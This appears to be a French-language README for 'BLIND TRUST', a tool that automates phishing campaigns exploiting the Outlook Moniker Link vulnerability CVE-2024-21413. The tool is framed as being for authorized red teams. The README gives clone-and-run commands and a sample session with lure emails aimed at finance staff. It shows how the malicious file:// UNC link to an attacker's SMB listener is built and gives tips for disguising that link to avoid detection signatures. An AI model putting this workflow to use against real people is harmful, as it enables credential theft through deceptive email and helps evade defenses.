
Un outil de recherche en sécurité pour simuler des campagnes de phishing ciblées utilisant CVE-2024-21413 (Moniker Link).
Un outil de recherche en sécurité pour simuler des campagnes de phishing ciblées exploitant la vulnérabilité Moniker Link CVE-2024-21413. Conçu pour les opérations red team autorisées, les tests d'intrusion et la formation de sensibilisation à la sécurité.
BLIND TRUST est un framework d'engagement de phishing qui aide les équipes de sécurité à comprendre et tester leurs défenses contre des attaques sophistiquées par courriel. Il exploite la technique Moniker Link pour contourner l'Affichage protégé d'Outlook, offrant une simulation d'attaque réaliste que les organisations peuvent utiliser pour renforcer leur posture de sécurité.
Cet outil automatise le flux de travail de bout en bout d'une campagne — de la configuration à la livraison des courriels — tout en maintenant la sécurité opérationnelle grâce à des chemins UNC personnalisables et des prétextes flexibles.
Les organisations doivent comprendre les techniques d'attaque réelles pour se défendre efficacement. TRUST permet :
.txt de type wordlist# Clone the repository
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST
# Run the tool
python3 TRUST_v7.py
L'outil utilise uniquement les modules de la bibliothèque standard de Python :
getpass - Secure password input
html - HTML escaping
ipaddress - IP address validation
logging - Structured logging
os - File operations
re - Regular expressions
signal - Signal handling
smtplib - SMTP email protocol
sys - System utilities
time - Time operations
dataclasses - Configuration modeling
email - MIME email construction
typing - Type hints
Aucun paquet externe requis — fonctionne partout avec Python 3.7+.
python3 TRUST_v7.py
Suivez l'assistant interactif à travers 5 étapes :
Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]
Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.
UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024
Créez targets.txt :
# Finance Department
[email protected]
[email protected]
[email protected]
# Accounting
[email protected]
[email protected]
Puis exécutez :
Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt
Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.
UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report
Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report
Deux options :
.txt avec un courriel par ligne, les commentaires commençant par #C'est ici que vous évitez les signatures évidentes :
finance-internal.company.com) au lieu d'une simple IPquarterly, updates, documentsq3_report, security_patch, training_documentRésultat : Au lieu de l'évident \\192.168.1.100\share!exploit, vous obtenez quelque chose comme file://finance-internal.company.com/quarterly!q3_report.
Start
↓
[STEP 1] Prompt for attacker email and SMTP password
↓
[STEP 2] Prompt for SMB listener IP
↓
[STEP 3] Load target emails (file or input)
↓
↓→ For each target:
│ - Validate email format
│ - Check for duplicates
│
[STEP 4] Prompt for email pretext
│ - Subject, From name, body text
│
[STEP 5] Prompt for UNC path customization
│ - Host, share, exploit name
│
↓
[BUILD] Construct configuration object
↓
[VALIDATE] Check all fields are present and valid
↓
[SUMMARY] Display pre-send summary for review
↓
[CONFIRM] User approves or cancels
↓
[SEND] For each target:
│ - Build MIME email with custom Moniker Link
│ - Attempt SMTP delivery with retry logic
│ - Log per-target success/failure
│
↓
[REPORT] Display campaign results (delivered vs failed)
↓
Exit